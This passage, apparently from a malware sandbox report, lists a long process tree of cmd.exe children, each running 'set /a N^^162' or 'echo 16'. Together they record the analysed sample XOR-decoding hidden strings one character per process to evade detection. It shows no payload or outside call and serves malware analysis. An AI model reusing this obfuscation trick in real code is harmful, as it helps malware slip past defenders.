      4⤵
      PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:2120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:3056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2428
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:2756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1332
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:1952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2728
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2068
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2364
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 224^^162"
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 197^^162"
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:2352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1152
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:1084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 244^^162"
      4⤵
      PID:2984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1196
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 244^^162"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:2808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:580
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2188
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2408
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:3016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2252
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2376
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 244^^162"
      4⤵
      PID:2404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2124
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:3048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2448
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 231^^162"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 250^^162"
      4⤵
      PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 254^^162"
      4⤵
      PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 245^^162"
      4⤵
      PID:2828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:740
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2136
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2436
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 145^^162"
      4⤵
      PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 144^^162"
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 247^^162"
      4⤵
      PID:2532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 231^^162"
      4⤵
      PID:2648
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 145^^162"
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 144^^162"
      4⤵
      PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:3024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 225^^162"
      4⤵
      PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2352
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 245^^162"
      4⤵
      PID:2120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:3056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2508
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:1084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:2748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 245^^162"
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 237^^162"
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:1104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2312
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:2872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 159^^162"
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2416
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2252
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2188
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:304
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\cmd.exe
